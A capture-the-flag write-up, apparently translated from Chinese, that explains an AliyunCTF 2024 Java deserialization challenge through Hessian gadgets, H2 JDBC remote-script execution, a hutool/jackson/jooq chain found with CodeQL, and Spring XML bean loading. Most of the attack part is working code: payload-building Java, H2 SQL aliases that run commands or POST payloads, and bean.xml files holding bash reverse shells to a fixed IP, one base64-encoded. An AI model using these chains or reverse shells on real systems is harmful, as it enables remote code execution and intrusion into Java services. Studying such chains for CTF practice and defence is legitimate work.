in ,

AliyunCTF2024-chain17 detailed explanation


Official wp:https://xz.aliyun.com/t/14190

Jdk9 module

The module mechanism appears in dk9:https://zhuanlan.zhihu.com/p/640217638。

in conclusion:

The scope of Java API is divided into methods, classes, packages and modules (highest). The module contains a lot of basic information:

  • name
  • Dependencies on other modules
  • Open API (others are internal to the module and cannot be accessed)
  • Services used and provided

Each module will have a module-info.java file, such as the module where TemplatesImpl is located:

image-20240318164910949.png

java.xml is the name of the module, not necessarily the same as the package name.

Exports indicates which packages of the current module can be accessed externally. A bit like nodejs.

exports…to means specifying which packages can only access the package.

Classes under the same module can access each other.

The package where TemplatesImpl is located has not been exported, so we cannot access it.

–add-opens

By adding the VM Option when the program is running, you can access modules that are otherwise inaccessible. grammar:--add-opens (module)/(package)=module,like:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED , meaning that a certain package under this module is open to all unnamed modules.Generally, classes without module information are inunnamed module @ xxxxxDown.

setAccessible

This is what you must use to set private properties, but in jdk9, there is an additional one in setAccessible to check access permissions.

image-20240327100005600.png

To sum up, the following situations are Accessible:

  • The current module is the same as the visited module
  • The current module is java.base
  • The visited module is an unnamed module
  • class is public and package is exported to caller
    • member is public
    • member is protected-static
  • package is open to caller

Deserialization

Deserialization class, not affected by module.

For example, add –add-opens to serialize XString in the first run and write it to a file. When running for the second time, without adding –add-opens, the file is read and the deserialization is successful.

hessian deserialization

This is also an important piece of content.

Core utilization method: When the outermost deserialized object is a map, the put method of the map will be called.

Therefore, gadgets triggered by put can be used, such as the following two, both of which function put->toString.

HashMap+XString。

/*
make map1's hashCode == map2's

map3#readObject
map3#put(map1,1)
map3#put(map2,2)
if map1's hashCode == map2's :
map2#equals(map1)
map2.xString#equals(obj) // obj = map1.get(zZ)
obj.toString
*/
public static HashMap get_HashMap_XString(Object obj) throws Exception{
XString xString = new XString("");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", xString);
map1.put("zZ",obj);
map2.put("zZ", xString);
HashMap map3 = new HashMap();
map3.put(map1,1);
map3.put(map2,2);

map2.put("yy", obj);
return map3;
}

HashMap+HotSwappableTagetSource+XString

public static HashMap get_HashMap_HotSwappable_XString(Object obj) throws Exception{
XString xString = new XString("");
HotSwappableTargetSource h1 = new HotSwappableTargetSource(10);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(2);

HashMap<Object, Object> map = new HashMap<>();
map.put(h1,"123");
map.put(h2,1);

Util.setFieldValue(h1,"target",obj);
Util.setFieldValue(h2,"target",xString);

return map;
}

But this question is not an ordinary hessian question

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>hessian-lite</artifactId>
<version>3.2.13</version>
</dependency>

There is a blacklist

image-20240327201924235.png

image-20240327202030397.png

XString is also included.

h2 jdbc attack

https://xz.aliyun.com/t/13931

h2 database, if this sql statement can be executed, it can be rce.

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')

When the url of the jdbc connection is specified as this, the remote sql statement will be loaded and then executed.

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

Let’s take an example:

pom file

<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.16</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.224</version>
</dependency>

main

public static void main(String() args) throws Exception {

String sql = "runscript from 'http://localhost:8000/poc.sql'";
String url = String.format("jdbc:h2:mem:test;init=%s", sql);
PooledDSFactory pooledDSFactory = Util.createWithoutConstructor(PooledDSFactory.class);

Setting setting = new Setting();
setting.setCharset(null);
setting.set("url",url);
Util.setFieldValue(pooledDSFactory,"setting",setting);
HashMap<Object, Object> dsmap = new HashMap<>();
dsmap.put("",null);
Util.setFieldValue(pooledDSFactory,"dsMap",dsmap);

pooledDSFactory.getDataSource().getConnection();

}

Just run it to play the calculator.

image-20240327194753585.png

Observe main. There is no import h2 dependent package. Can this dependency be removed?

PooledDSFactory is a class used to initiate database connections in hutool dependencies, and a driver is required for connection. The driver is placed in h2 dependency.

Therefore, after removing the h2 dependency, it will prompt that the driver cannot be found.

JSONObject

cn.hutool.json.JSONObject。

This class is a map. Value.toString will be triggered when put(key,value), but value must be a java internal class.

The put method will enter here.

image-20240327195506184.png

Then enter wrap.

image-20240327195609424.png

You can see that triggering toString is also conditional, that is, it must be a Java internal class.

AtomicReference

java.util.concurrent.atomic.AtomicReference

The toString method of this class will call the toString of its own value attribute.

image-20240327195835073.png

image-20240327195845383.png

POJONode properties

it is knownjackson#toStringyou can call the getter, but the return value of the getter, if it is an object, will continue to call the getter of the object.

existBeanPropertyWriter#serializeAsFieldthe first line is to call the getter, and the return value of the getter is value

image-20240327200744488.png

Still using this method, if you continue going down, you will reach here, and the value is passed in:

image-20240327200908979.png

Keep following upserializeFields

image-20240327201009805.png

In this method, prop is an attribute of the object, not necessarily a member variable. If there is a getA method, but there is no A attribute, A will also be included in the prop.

The next step is to enter the prop's serializeAsField, and then continue to call the getter. Note that the getter at this time is already the getter of value.

ClassPathXmlApplicationContext

image-20240327223409361.png

Take a look at the official wp:https://xz.aliyun.com/t/14190

image-20240327204044831.png

image-20240327204011629.png

Call chain:JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> DSFactory.getDataSource -> Driver.connect

When I first started reading, I had a few questions:

1. The –add-opens parameter is added when running locally to access classes that are originally inaccessible. However, when running remotely, there is no way to add them remotely. Does it mean that these classes cannot be accessed remotely?

2. This is added to the dockerfile of the question:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED, the purpose is to allow the current module to access other modules. But other classes, such as POJONode, are also in other modules. Why can they be deserialized normally without adding them?

3. Why are there multiple calls between JSONObject and POJONode?AtomicReference#toString

4. Write PooledDSFactory directly into the bean. In this case, the readObject of PooledDSFactory is called. According to my understanding, PooledDSFactory should be covered with another layer of readObject->toString->getter, and then inserted into the bean.

Regarding the second point, Hessian will call setAccessible when deserializing and restoring attributes. Since the module of AtomicReference is java.base, it is originally inaccessible, so –add-opens must be added. For other classes such as POJONode, the module is an unnamed module, setAccessible can pass, and deserialization does not check the module, so it is okay not to add it.

All other questions can be answered above.

Also, when you generate the payload locally, you can spit out base64, but there will be exceptions, but it does not affect it.

image-20240327210133430.png

sink point search

First of all, you need to know what are the RCE methods in Java.

  • Runtime.getRuntime().exec
  • new ProcessBuilder(“”).start()
  • method#invoke, method and parameters are controllable
  • Remote class loading URLClassLoader#loadClass
  • There is TemplatesImpl in jdk8, but it disappears after jdk9.
  • High version JDNI and BeanFactory
  • Any class instantiation

When I read this question, I didn’t expect arbitrary class instantiation. Use codeql to check the jooq package. There is no Runtime, no ProcessBuilder, some loadClass and method#invoke, but they are uncontrollable. So we can only consider whether the jooq package has rce that is similar to jdbc and is not within the above range, such as h2 used by the agent.

But in fact, new ClassPathXmlApplicationContext can be used. When pop asked me to use codeql to search for the newInstance method, I remembered this rce method. (The first contact was inpgsql jdbc attack

codeql mining

Check newInstance first

image-20240327224618311.png

Then we need to find the path of the getter to reach this newInstance.

/**
@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources

class Source extends Method{
Source(){
this.getDeclaringType().getASupertype*() instanceof TypeSerializable and
this.getName().indexOf("get") = 0 and
this.getName().length() > 3 and
this.isPublic() and
this.fromSource() and
this.hasNoParameters()
and
getDeclaringType().getQualifiedName().matches("%jooq%")
}
}

class Sink extends Method{
Sink(){
exists(MethodAccess ac|
ac.getMethod().getName().matches("%newInstance%")
and
ac.getMethod().getNumberOfParameters() = 1
and
getDeclaringType().getQualifiedName().matches("%jooq%")
and
this = ac.getCaller()
)
and
getDeclaringType().getASupertype*() instanceof TypeSerializable
}
}

query predicate edges(Method a, Method b) {
a.polyCalls(b)and
(a.getDeclaringType().getASupertype*() instanceof TypeSerializable or a.isStatic()) and
(b.getDeclaringType().getASupertype*() instanceof TypeSerializable or b.isStatic())
}

from Source source, Sink sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@" ,
source.getDeclaringType(),source.getDeclaringType().getName(),
source,source.getName(),
sink.getDeclaringType(),sink.getDeclaringType().getName(),
sink,sink.getName()

There are not many results, and you can find the correct one by combining it with hand screening, that isConvertedVal#getValue -> ConvertAll#fromit can be seen from the name that the functions are very similar.

image-20240327225000457.png

chain structure

Then just fill in the chain in the middle

public static void aliyunctf2024_chain17_server_exp() throws Exception{
Object convertedVal = Util.createWithoutConstructor(Class.forName("org.jooq.impl.ConvertedVal"));
Object dataTypeProxy = Util.createWithoutConstructor(Class.forName("org.jooq.impl.DataTypeProxy"));
Object delegate = Util.createWithoutConstructor(Class.forName("org.jooq.impl.Val"));
Object arrayDataType = Util.createWithoutConstructor(Class.forName("org.jooq.impl.ArrayDataType"));
Object name = Util.createWithoutConstructor(Class.forName("org.jooq.impl.UnqualifiedName"));

Object commentImpl = Util.createWithoutConstructor(Class.forName("org.jooq.impl.CommentImpl"));
Util.setFieldValue(commentImpl,"comment","11111");

Util.setFieldValue(delegate,"value","http://192.168.109.1:17878/bean.xml");
Util.setFieldValue(arrayDataType,"uType",ClassPathXmlApplicationContext.class);
Util.setFieldValue(dataTypeProxy,"type",arrayDataType);
Util.setFieldValue(convertedVal,"type",dataTypeProxy);
Util.setFieldValue(convertedVal,"delegate",delegate);
Util.setFieldValue(convertedVal,"name",name);
Util.setFieldValue(convertedVal,"comment",commentImpl);

POJONode pojoNode = Gadget.getPOJONode(convertedVal);
EventListenerList list = new EventListenerList();

UndoManager manager = new UndoManager();
Vector vector = (Vector) Util.getFieldValue(manager, "edits");
vector.add(pojoNode);
Util.setFieldValue(list, "listenerList", new Object(){InternalError.class, manager});

System.out.println(Util.base64Encode(Util.serialize(list)));
}

bean.xml

This is acceptable

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">


<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMC43Ni4xMTguMjAyLzE2NjY2IDA+JjE=}|{base64,-d}|{bash,-i}')}"/>
</bean>
</beans>

This doesn't work, I don't know why.

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value>"/bin/bash -i &gt;&amp;/dev/tcp/120.76.118.202/16666 0&gt;&amp;1"</value>
</list>
</constructor-arg>
</bean>
</beans>

The server is on the internal network and needs to be called through an agent. This step is quite troublesome. The only way I can think of is to write the file after agent getshell and set up an agent to connect to the intranet. After I tried it, I had a little trouble, so I followed the official instructions.

The official wp directly executes the java code when the agent obtains poc.sql

create alias send as 'int send(String url, String poc) throws java.lang.Exception { java.net.http.HttpRequest request = java.net.http.HttpRequest.newBuilder().uri(new java.net.URI(url)).headers("Content-Type", "application/octet-stream").version(java.net.http.HttpClient.Version.HTTP_1_1).POST(java.net.http.HttpRequest.BodyPublishers.ofString(poc)).build(); java.net.http.HttpClient httpClient = java.net.http.HttpClient.newHttpClient(); httpClient.send(request, java.net.http.HttpResponse.BodyHandlers.ofString()); return 0;}';
call send('http://server:8080/read', '<这里填打 server 的 base64 payload>')

Reproduction successful.

image-20240327222549299.png

What do you think?

Leave a Reply

Your email address will not be published. Required fields are marked *

GIPHY App Key not set. Please check settings

Independent Development Monetization Weekly (Issue 130): Build an online timer that earns $8,000 a month

FIN7 targeted a large U.S. carmaker phishing attacks